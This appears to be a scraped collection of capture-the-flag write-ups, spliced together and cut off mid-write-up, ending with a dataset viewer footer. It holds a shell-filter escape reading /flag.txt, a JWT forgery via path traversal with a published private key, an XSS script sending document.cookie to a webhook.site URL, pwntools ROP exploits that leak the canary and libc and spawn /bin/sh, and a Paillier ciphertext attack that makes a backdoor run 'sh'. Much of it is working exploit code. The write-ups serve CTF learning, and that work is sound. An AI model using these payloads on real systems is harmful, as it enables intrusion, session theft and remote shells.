We are thrown into a shell that adds the prefix 'wa' to each command line parameter.
``` _ _ __ __ __ __ _ | |__ __ _ ___ | |_ \ V V // _` | | '_ \ / _` | (_-< | ' \ \_/\_/ \__,_| |_.__/ \__,_| /__/_ |_||_| _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
$ `bash`;sh: 1: wabash: not found$ lssh: 1: wals: not found```
we can use the command '(wa)it' to escape this condition```$ it&&ls run```We can use the "[internal/input field separator](https://en.wikipedia.org/ |
wiki/Input_Field_Separators)" variable IFS to print our flag.txt content.```$ it&&cat${IFS}/flag.txtbctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55} |
Decompiled:
```C#include "out.h"
int _init(EVP_PKEY_CTX *ctx)
{ int iVar1; iVar1 = __gmon_start__(); return iVar1;}
void FUN_00101020(void)
{ // WARNING: Treating indirect jump as call (*(code *)(undefined *)0x0)(); return;}
void FUN_00101050(void)
{ __cxa_finalize(); return;}
void __stack_chk_fail(void)
{ // WARNING: Subroutine does not return __stack_chk_fail();}
// WARNING: Unknown calling convention -- yet parameter storage is locked
int putc(int __c,FILE *__stream)
{ int iVar1; iVar1 = putc(__c,__stream); return iVar1;}
void processEntry _start(undefined8 param_1,undefined8 param_2)
{ undefined auStack_8 [8]; __libc_ |
start_main(main,param_2,&stack0x00000008,0,0,param_1,auStack_8); do { // WARNING: Do nothing block with infinite loop } while( true );}
// WARNING: Removing unreachable block (ram,0x001010c3)// WARNING: Removing unreachable block (ram,0x001010cf)
void deregister_tm_clones(void)
{ return;}
// WARNING: Removing unreachable block (ram,0x00101104)// WARNING: Removing unreachable block (ram,0x00101110)
void register_tm_clones(void)
{ return;}
void __do_global_dtors_aux(void)
{ if (completed_0 != '\0') { return; } FUN_00101050(__dso_handle); deregister_tm_clones(); completed |
_0 = 1; return;}
void frame_dummy(void)
{ register_tm_clones(); return;}
long super_optimized_calculation(int param_1)
{ long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super_optimized_calculation(param_1 + -2); lVar1 = lVar1 + lVar2; } return lVar1;}
undefined8 main(void)
{ ulong uVar1; long in_FS_OFFSET; uint local_84; uint local_78 [26]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_78[0] = 0x8bf7; |
local_78[1] = 0x8f; local_78[2] = 0x425; local_78[3] = 0x36d; local_78[4] = 0x1c1928b; local_78[5] = 0xe5; local_78[6] = 0x70; local_78[7] = 0x151; local_78[8] = 0x425; local_78[9] = 0x2f; local_78[10] = 0x739f; local_78[11] = 0x91; local_78[12] = 0x7f; local_78[13] = 0x42517; local_78[14] = 0x7f; local_78[15] = 0x161; local_78[16] = |
0xc1; local_78[17] = 0xbf; local_78[18] = 0x151; local_78[19] = 0x425; local_78[20] = 0xc1; local_78[21] = 0x161; local_78[22] = 0x10d; local_78[23] = 0x1e7; local_78[24] = 0xf5; uVar1 = super_optimized_calculation(0x5a); for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) { putc((int)(uVar1 % (ulong)local_78[(int)local_84]),stdout); } putc(10,stdout); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { |
// WARNING: Subroutine does not return __stack_chk_fail(); } return 0;}
void _fini(void)
{ return;}
```
The saved bytes in local_78 form the bytestring: ```0x8bf70x8f0x4250x36d0x1c1928b0xe50x700x1510x4250x2f0x739f0x910x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5```
The core of the problem is ```uVar1 = super_optimized_calculation(0x5a); for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) { putc((int)(uVar1 % (ulong)local_78[(int)local |
_84]),stdout); }```The hex value '0x5a' (90: int)
The super optimized calculation:```long super_optimized_calculation(int param_1)
{ long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super_optimized_calculation(param_1 + -2); lVar1 = lVar1 + lVar2; } return lVar1;}```We can write the same inefficient thing in python```def soc(a): if a == 0: return 0 elif a == 1: return 1 else: x = soc(a-1) y = soc(a-2) return x+y```Since this will take ages to compute we can optimize this with a cache:```cache = [0, 1 |
, soc(2), soc(3), soc(4)]def soc_opt(a): if a < len(cache): return cache[a] else: x = soc_opt(a-1) y = soc_opt(a-2) cache.append(x+y) return cache[a]```We can check that it works by comparing the results of a manageable initial value:```>>>print(soc(12))144>>>print(soc_opt(12))144```The desired initial value is 90, which computes to:```>>>print(soc_opt(90))2880067194370816120```
When combining the bytestring with the optimized computation result ```n = soc_opt(90)
b = '0x8bf70x8f0x4250x36d0x1c1928b0xe50x700x1510x4250x2f0x739f0x910 |
x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5'flag = ''for x in b.split('0x'): if x: m = n % int(x, 16) flag = f"{flag}{chr(m)}"print(flag)```We get the flag:```bctf{what's_memoization?}``` |
Attachments: * imagehost.zip
In this zip file there is a python implementation of an imagehost web server.This implementation contains code for session handling via JSON Web Tokens:```pythonfrom pathlib import Path
import jwt
def encode(payload, public_key: Path, private_key: Path): key = private_key.read_bytes() return jwt.encode(payload=payload, key=key, algorithm="RS256", headers={"kid": str(public_key)})
def decode(token): headers = jwt.get_unverified_header(token) public_key = Path(headers["kid"]) if public_key.absolute().is_relative_to(Path.cwd()): key = public_key.read_bytes() return jwt.decode(jwt=token, key=key, algorithms=["RS256"]) else: return {}```
Creating a token via login produces something like this```eyJhbGciOiJSUzI1NiIsImtpZCI6InB1YmxpY19r |
ZXkucGVtIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjozLCJhZG1pbiI6bnVsbH0.O46AMfAsFuXqRNkf00FrDYGQN1lqt7M3gAExp-RXv7C1Po4TUNnnnpb_DR8UrrBYIfn1kvXBxQzXr2EqJduh67fs3MRGaYXmSyLkQ26QBDfuF-L6A89e4g5Jf4qE3jirp210i1q2374vqVW9VeCoP7hfkLlPuSK5VDAm8BfDaSRF4odWH1klpT_fo03NsVpahg1H0sgak0lDvAssVXcbhZ-8KRo64QOcL8tKjZzbCsoll-rfxgyKdGRyL |
gVxBRw6Kay1ei_dG6j7mNGnQupNr8fy9IdCexEOABjAHoI640cujOl7z0g2SUB4tzG7txVbRm15jcysBvD_NVonvoE3VGUgbSg_V5lkj5ofLNWCh9jN7hlj6xEXql3QzsVWJQHgYm5dpEuoxizXdozqvi6AOKn6SR5BG1jHYs1XCnSW5XnqbO6OBfTdSTYas1lRJ-NCzsvJs3wYEbjHJp9CDMA9NCJJVDTZ7EkMyhrN7CJH8LHGU8ZrTkqKFKl3_bQeQWmgfI9URIatlLafnk8aw7YkOU4gkXJqZvtwpfaMYF8GgIujeVM7 |
I8c11jPF-k58OAM7lUOOpBsK_fW9JQQ9_VZqF6pJltKpwR3I-saRcyL3p6M-3CpwWI2FS4bqfkcQDj9wuqxEF45uP-wn3TyqAteV1wX_Ei7N5uVNQ8cHSFIigPI```This can be decoded via https://jwt.io/The header```{ "alg": "RS256", "kid": "public_key.pem", "typ": "JWT"}```The payload```{ "user_id": 3, "admin": null}```
We suspect that we can upload our own public key pretending it is an image file. We will sign our payload containing the admin user_id, with a known private key. Then use our own public key to check the signature.
For signing our own payloadPublic Key:
```-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9 |
w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWHZ+LuCbmJu41+AGTzfNiGFWJSQ7yN0w5sASpdkNU+mdYez2CbyqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN+aIah |
CdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY-----```
Private Key:```-----BEGIN PRIVATE KEY-----MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvv0PzB9YZMQFHnP+FIjpbv31ZL6QJmhjDRSqiglDmfOV3WYbCA1b7I3LEd0NoF/GMW161bpqcNqKyxSlCpGWNVEi+3cyjzm3imChEkSJQVDpi2wtpRdrH9kxpiaGKV/si+WQRf1+fps+WkE6oYV7gWGsSHK3fys6IG0DFabSlxHJYdn4u4JuYm7jX4AZPN82 |
IYVYlJDvI3TDmwBKl2Q1T6Z1h7PYJvKqtB09Em2KUt0XOCAViJUPwR9puw5NMpSQiL5mCDwxFG8yb7FgjF7HhVrB/x16/JrXw1Gg35ohqEJ0DvneGkBy4OV3NQS0/K25L7X3jr4pR2k8VaIpSBoxhAgMBAAECggEAAvgAFsgTSzkFQpN9yz7gFZ5NKLNV4fnj+NH3ebfp9A/IbEkDTk4SQ0MmuFgDp+uuH1LojVfrRY/kdRDArP0UEFRr92ntn9eACpGrjfd16P2YQCTfOym0e7fe0/JQy9KHRfCoqqVAPTUbGP |
nyczSUXsWtlthsTT1Kuni74g3SYPGypQuO9j2ICP8N9AeNh2yGHf3r2i5uKwOCyErniwzzBHJPBcMHfYD3d8IOTgUTmFLgesBAzTEwLmAy8vA0zSwGfFaHMa0OhjZrc+4f7BUU1ajD9m7Uskbs6PMSjqLZYzPGctCkIeyaLIc+dPU+3Cumf5EkzcT0qYrX5bsadGIAUQKBgQD3IDle2DcqUCDRzfQ0HJGoxjBoUxX2ai5qZ/2D1IGAdtTnFyw73IZvHzN9mg7g5TZNXSFlHCK4ZS2hXXpylePML7t/2ZUovEwwDx4KbenwZLAzLYTNpI++D0b |
2H53+ySpEtsA6yfq7TP+PWa2xUnLCZqnwZcwrQd/0equ58OLJ0QKBgQC2Dt8il/I0rTzebzfuApibPOKlY5JyTTnUBmJIh8eZuL5obwRdf53OljgMU5XyTy7swzot4Pz7MJlCTMe/+0HvjuaABcDgmJd/N4gcuR+chOiYw7Bc2NSyGodq2WR/f/BiMcXBAbqEALbXAQy9mkCH4xePTdEA3EPYXml3SDCtkQKBgGv67JaAqzoV4QFLmJTcltjEIIq1IzeUlctwvNlJlXxocAa5nV5asXMEkx8inbWu8ddEBj+D17fyncmQatx+mhayFJ |
98lyxBepjVQi8Ub8/WbxctoIWqjhRh4IPStNqLU6jKoZwOfTwyHMiqSrbca8B902tzT47nLdBJeZe5pZ7BAoGAHIBvhmbrUDvez6PxyZ02bvc1NFdGUgatCviE4n3/TZ2SkZ7vvAOCnRj/ZU6gpvKmkgJuVUhn0ptlIvAKRY/8XpislVZRP9gjv5LeCEEjJcnY8DGSprZ7dfaZRK0MArnw1C6emvy+SnQiK77KU9SWTa/LvG+eTNgu9uyw7i+rD0ECgYBKphKWj9ru+Q0Bp5IHCBn5PXhCuCzaHdWhka8tl44LjBSLLect2PA9oFi |
KEUA8HSnYylAnZ1LCca7uTrK9jJlLmetr5MaO3e9xDzlq4CcEo3+7KyVhDTylzM7pfx3QjcSrwtZYiNTRU+1pEPfIqXv5I8STSTbbJXCTwQ9LY2TXvw==-----END PRIVATE KEY-----```
The modified header:```{ "alg": "RS256", "kid": "/a/our_own_public_key.pem", "typ": "JWT"}```
The modified session payload```{ "user_id": 1, "admin": null}```We can create the needed token with the token.py functions given by the task source
```>>> from pathlib import Path>>> encode({"user_id": 1, "admin": True}, Path('../../public_key.pem'), Path('../../private_key.pem'))'eyJ0eXAiOiJKV1QiLCJhbGci |
OiJSUzI1NiIsImtpZCI6Ii4uLy4uL3B1YmxpY19rZXkucGVtIn0.eyJ1c2VyX2lkIjoxLCJhZG1pbiI6dHJ1ZX0.oGlGsmuASM6q4oxmhMVXVscY0xZyBnex8W5VuKPBWlporlGgrn9LdoHqi4aLel6P1VxRvCDptRX9_tmNQzcUSTl3fLkPkrIUAFb-Wf0ZHpIsQ6j2_kmTEZMoenr72B6G9MUg4Z_qh1Y8JM5DtTENWpC1pM_KfKGJorfT_6wgseaBxvm7PDDQyuPAVD4gAY0PUR2_VJH3M4h94e0c2Gc2sIh |
-ZjbRyDnhVN9qaM0z54gNbHklEIPlrHt2PxoxC3yowbR9aFV0kdy9fk54EtFIpOKVGj84Bs3Q3rXnILvLr1KEryiw4wyqSJ2cSkeiuAikXCpd-_SGsw_DU1Xdng6FsA'```We created + uploaded postscript 1x1p image with public key attached```%!PS-Adobe-3.0 EPSF-3.0%%Creator: GIMP PostScript file plug-in V 1,17 by Peter Kirchgessner%%Title: evil.eps%%CreationDate: Sun Apr 14 02:06:11 2024%%DocumentData: Clean7Bit%%LanguageLevel: 2%%Pages: 1%%BoundingBox: 14 14 15 15%%EndComments%%BeginProlog% Use own dictionary to avoid conflicts10 dict begin%%EndProlog |
%%Page: 1 1% Translate for offset14.173228346456694 14.173228346456694 translate% Translate to begin of first scanline0 0.24000000000000002 translate0.24000000000000002 -0.24000000000000002 scale% Image geometry1 1 8% Transformation matrix[ 1 0 0 1 0 0 ]% Strings to hold RGB-samples per scanline/rstr 1 string def/gstr 1 string def/bstr 1 string def{currentfile /ASCII85Decode filter /RunLengthDecode filter rstr readstring pop}{currentfile /ASCII85Decode filter /RunLengthDecode filter gstr readstring pop}{currentfile /ASCII85Decode filter /RunLengthDecode filter bstr readstring pop}true 3%%BeginData: 3 |
2 ASCII Bytescolorimage!<7Q~>!<7Q~>!<7Q~>%%EndDatashowpage%%Trailerend%%EOF
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWHZ+LuCbmJu41+AGTzfNiGFWJSQ7yN0w5sASpdkNU+mdYez2C |
byqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN+aIahCdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY-----
```We can exploit a path traversal vulnerability using "/app/../uploads" (must start with /app)We then change the jwt header path to the given upload path and can login using the generated admin jwt token.
Flag: `bctf{should've_used_imgur}` |
Attachments: * dist.zip
The dist.zip contains an index.js file with the following code:```javascriptconst express = require('express')const puppeteer = require('puppeteer');const cookieParser = require("cookie-parser");const rateLimit = require('express-rate-limit');require('dotenv').config();
const app = express()const port = process.env.PORT || 3000
const CONFIG = { APPURL: process.env['APPURL'] || `http://127.0.0.1:${port}`, APPFLAG: process.env['APPFLAG'] || "fake{flag}",}console.table(CONFIG)
const limiter = rateLimit({ windowMs: 60 * 1000, // 1 minute limit: 4, // Limit each IP to 4 requests per `window` (here, per minute). standardHeaders: 'draft-7', legacyHeaders: false,})
app.use(express.json());app.use(express.urlencoded({ extended: true }));app. |
use(cookieParser());app.set('views', __dirname + '/views');app.use(express.static("./public"));app.engine('html', require('ejs').renderFile);app.set('view engine', 'ejs');
function sleep(s){ return new Promise((resolve)=>setTimeout(resolve, s))}
app.get('/', (req, res) => { res.render('index.html');})
app.get('/admin/view', (req, res) => { if (req.cookies.flag === CONFIG.APPFLAG) { res.send(req.query.content); } else { res.send('You are not Walter White!'); }})
app.post('/review', limiter, async (req, res) => { const initBrowser = puppeteer.launch({ executablePath: "/opt/homebrew/bin/chromium", headless: true, args: [ '--disable-dev-shm-usage', '--no-sandbox', '--disable-setuid-sandbox', '--disable |
-gpu', '--no-gpu', '--disable-default-apps', '--disable-translate', '--disable-device-discovery-notifications', '--disable-software-rasterizer', '--disable-xss-auditor' ], ignoreHTTPSErrors: true }); const browser = await initBrowser; const context = await browser.createBrowserContext() const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content; try { const page = await context.newPage(); await page.setCookie({ name: "flag", httpOnly: false, value: CONFIG.APPFLAG, url: CONFIG.APPURL }) await page.goto(urlToVisit, { waitUntil: 'networkidle2' }); await sleep(1000); // Close await context.close() res.redirect('/') } catch (e) { console |
.error(e); await context.close(); res.redirect('/') }})
app.listen(port, () => { console.log(`Purdue winning on port ${port}`)})```
The app.post('/review', limiter, async (req, res) function is a Node.js server-side endpoint that uses Puppeteer to interact with a (server side) web browser programmatically. It takes a request body, parses its content, and then visits a specific URL on the application's domain using Puppeteer.
Placing this payload inside of the 'message' field of the page form will lead to a call to the given webhook from the puppeteer browser:```html```Now we need to get the puppeteer browser to send its cookies as a request parameter to the webhook url.The problem is, that the content is sanitized via```javascriptconst content = req.body.content.replace("'", '').replace('"', '').replace("`", '');```So we need to find alternatives for the replaced characters. As the whole content gets passed in a URL parameter, we can make this |
script run successfully to call our webhook using URL encoding (' = %27) for the replaced chars:```html<script> function setUrl() { e = document.getElementById(%27asd%27); e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,%27asdf2%27); }</script>```Now we just need to extract the sites 'flag' cookie:
```html<script> function setUrl() { e = document.getElementById(%27asd%27); e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,document.cookie); }</script>```The flag is returned in the cookie |
URL parameter:```bctf{wow_you_can_get_a_free_ad_now!}``` |
> https://uz56764.tistory.com/124
```pyfrom pwn import *import struct
context.arch = "amd64"
nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]
#r = process("dotcom_market")r = remote("dotcom.shellweplayaga.me", 10001 )
r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")
r.sendlineafter(b"Enter graph description:", b"123")
r.sendlineafter(b">", b"0")s = f"0|0|0|0|0|" + "A"*0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"0")s = f"0|0|0|0|0|" + "A"*0x400s = f |
"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"66")r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")s = f"0|{nan}|0|0|0|" + "A" * 0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"1")r.recvuntil(b"r = ")
leak = float(r.recvuntil(b" ", drop=True).decode())libc_leak = u64(struct.pack("d", leak * 10))libc_leak = libc_leak & ~0xffflibc_base = libc_leak - 0x21a000
pop_rdi = libc_base + 0x000000 |
000002a3e5pop_rsi = libc_base + 0x000000000002be51pop_rdx_rbx = libc_base + 0x00000000000904a9write = libc_base + 0x0114870read = libc_base + 0x01147d0
print(f'libc_base = {hex(libc_base)}')
r.sendlineafter(b">", b"1")r.sendlineafter(b">", b"0")
raw_input()pay = b'1280|'pay += b'(): Asse' + b'A'*0x30pay += p64(0x401565)pay += b'X'*(1284 - len(pay))r.sendline(pay)
pay = b'B'*0x18pay += p64(pop_rdi)pay += p64(0x6)pay += |
p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(read)
pay += p64(pop_rdi)pay += p64(0x1)pay += p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(write)pay += p64(0xdeadbeef)
r.sendline(pay)
r.interactive()``` |
1. decompile the challenge binary file, easy to understand, nothing to say
1. In file backdoor.py found that:
```ctxt = (pow(g, int.from_bytes(ptxt, 'big'), n_sq) * pow(r, n, n_sq)) % n_sq```
because of :
```ctxt == (g ^ ptxt) * (r ^ n) mod n_sq=> ctxt^a == ((g ^ ptxt) * (r ^ n))^a mod n_sq=> ctxt^a == (g ^ ptxt)^a * (r ^ n)^a mod n_sq=> ctxt^a == (g ^ (ptxt*a)) * ((r ^a)^ n) mod n_sq```
lookat backdoor.py :
``` while True: r = random.randrange(1, n) if gcd(r, n) == 1: break```
when execute backdoor.py without arguments, it will print the cipher result of 'ls' (ptxt) |
So we need to find a payload instead of 'ls', and the payload : int(palyload) == int('ls') * n
because of:
```def run(msg: dict): ptxt = dec(msg['hash'], msg['ctxt']) subprocess.run(ptxt.split())```
we use the follow script to find out payload and n:
```from Crypto.Util.number import long_to_bytes, bytes_to_long
ls = bytes_to_long(b'ls')
# char in bytes.split() is seperatorTAB = b' \x09\x0a\x0b\x0c\x0d'
sh_b = b'sh'for i0 in TAB: for i1 in TAB: for i2 in TAB: for i3 in TAB: for i4 in TAB: for i5 in TAB: b = sh_b + bytes([i0, i1, i2, i3, i4, i5]) a = bytes_to_long(b)%ls |
if a==0: n = bytes_to_long(b)//ls print(n, b) break
# b = ls * n```
After run it, we got payload: b'sh\t \x0c\t\r ', and n = 299531993847392
Finally, write the full exploit:
```#!/usr/bin/env python3import json
from pwn import *
HOST = os.environ.get('HOST', 'localhost')PORT = 31337
io = remote(HOST, int(PORT))
# GET THE 'ls' cipher resultio.recvuntil(b'> ')io.sendline(b'5')ret = io.recvuntil(b'Welcome to Shiny Shell Hut!')idx = ret.index(b'{"hash":')end = ret.index(b'}', idx + 1)msg = ret[idx:end+1]msg = json.loads(msg)
ctxt = msg["ctxt"]n = msg["n"]
# MA |
KE new payloadpayload = b'sh\t \x0c\t\r 'h = int(hashlib.sha256(payload).hexdigest(), 16)ctxt = pow(ctxt, 299531993847392, n*n)msg = {'hash': h, 'ctxt': ctxt, 'n': n}io.sendline(b'4'+json.dumps(msg).encode())io.interactive()```
|
# Full writeupA detailled writeup can be found [here](https://ihuomtia.onrender.com/umass-rev-free-delivery).
# Summarized Solution- Decompile the apk using `jadx`- Extract a base64 encoded string from `MainActivity.java`, the string is `AzE9Omd0eG8XHhEcHTx1Nz0dN2MjfzF2MDYdICE6fyMa`.- Decode the string and then xor it with the key `SPONGEBOBSPONGEBOBSPONGEBOBSPONGEBOBSPONGEBOB`, then you'll obtain `Part 1: UMASS{0ur_d3l1v3ry_squ1d_`- In the decompiled apk, look for a shared library named `libfreedelivery.so`, decompile it and extract some data that was xored with the byte `0x55`, the xored bytes are `\x30\x36\x3d\x3a\x75\x77\x |
05\x34\x27\x21\x75\x01\x22\x3a\x6f\x75\x22\x64\x39\x39\x0a\x37\x27\x64\x3b\x32\x0a\x64\x21\x0a\x27\x64\x32\x3d\x21\x0a\x65\x23\x66\x27\x0a\x74\x28\x77\x55`, xor them with `0x55` and you'll obtain `echo "Part Two: w1ll_br1ng_1t_r1ght_0v3r_!}"\x00'`- Put together with the first part, we get the full flag: `UMASS{0ur_d3l1v3ry_squ1d_w1ll_br1ng_1t_r1ght_0v |
3r_!}` |
## Full WriteupA detailed writeup can be found [here](https://ihuomtia.onrender.com/umass-pwn-bench-225).
## Solve script```pythonfrom pwn import * def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) gdbscript = '''init-pwndbg'''.format(**locals()) exe = './bench-225'elf = context.binary = ELF(exe, checksec=False)context.log_level = 'info' io = start() # setup the program to get the vulnerable optionfor i in range(5): io.recvuntil(b"5. Remove Pl |
ate") io.sendline(b"3") for i in range(6): io.recvuntil(b"5. Remove Plate") io.sendline(b"4") # leak addresses def leak_address(offset): io.recvuntil(b"6. Motivational Quote") io.sendline(b"6") io.recvuntil(b"Enter your motivational quote:") io.sendline(f"%{offset}$p".encode("ascii")) address = int(io.recvuntil(b" - Gary Goggins").split(b":")[1].replace(b"\"", b"").replace(b"\n", b"").split(b"-")[0].strip(), 16) return address canary = leak_address(33)log.success(f"canary: 0x{canary:x}") elf.address = leak_address(17) - elf.symbols['main']log.success(f"elf base: 0x{elf.address:x}") writable_address = elf. |
address + 0x7150log.success(f"writable address: 0x{writable_address:x}") # preparing rop gadgets ---------------------------------------------POP_RDI = elf.address + 0x0000000000001336POP_RSI = elf.address + 0x000000000000133aPOP_RDX = elf.address + 0x0000000000001338POP_RAX = elf.address + 0x0000000000001332SYSCALL = elf.address + 0x000000000000133eRET = elf.address + 0x000000000000101a # first stage ---------------------------------------------payload = flat([ cyclic(8), p64(canary), cyclic(8), p64(RE |
T), p64(POP_RSI), p64(writable_address), p64(POP_RDI), p64(0), p64(POP_RDX), p64(0xff), p64(POP_RAX), p64(0), p64(SYSCALL), p64(RET), p64(elf.symbols['motivation']) ]) io.recvuntil(b"6. Motivational Quote")io.sendline(b"6")io.recvuntil(b"Enter your motivational quote:") io.clean() io.sendline(payload)io.sendline(b"/bin/sh\x00") # Second Stage ---------------------------------------------payload = flat([ cyclic(8), p64(canary), cyclic(8), p64(RET), p64(POP_RDI), p64(writable_address), p64(POP_RSI), p64(0 |
), p64(POP_RDX), p64(0), p64(POP_RAX), p64(0x3b), p64(SYSCALL), ]) io.recvuntil(b"Enter your motivational quote:")io.sendline()io.sendline(payload) io.clean() # Got Shell?io.interactive()``` |
We are provided with a png image.
Using zsteg, we can analyze the png file.```zsteg -a her-eyes.png```
Looking at the zsteg results, we can see that there is some text hidden in zlib with 'b2,rgb,lsb,yx'.```b2,rgb,lsb,yx .. zlib: data="Her \xF3\xA0\x81\x8Eeyes \xF3\xA0\x81\x89stare \xF3\xA0\x81\x83at \xF3\xA0\x81\x83you \xF3\xA0\x81\xBBwatching \xF3\xA0\x81\x9Fyou \xF3\xA0\x81\x8Eclosely, \xF3\xA0\x81\xA1she \xF3\xA0\x81\xADstarts \xF3\xA0\x |
End of preview. Expand
in Dataset Viewer.
README.md exists but content is empty.
Use the Edit dataset card button to edit it.
- Downloads last month
- 34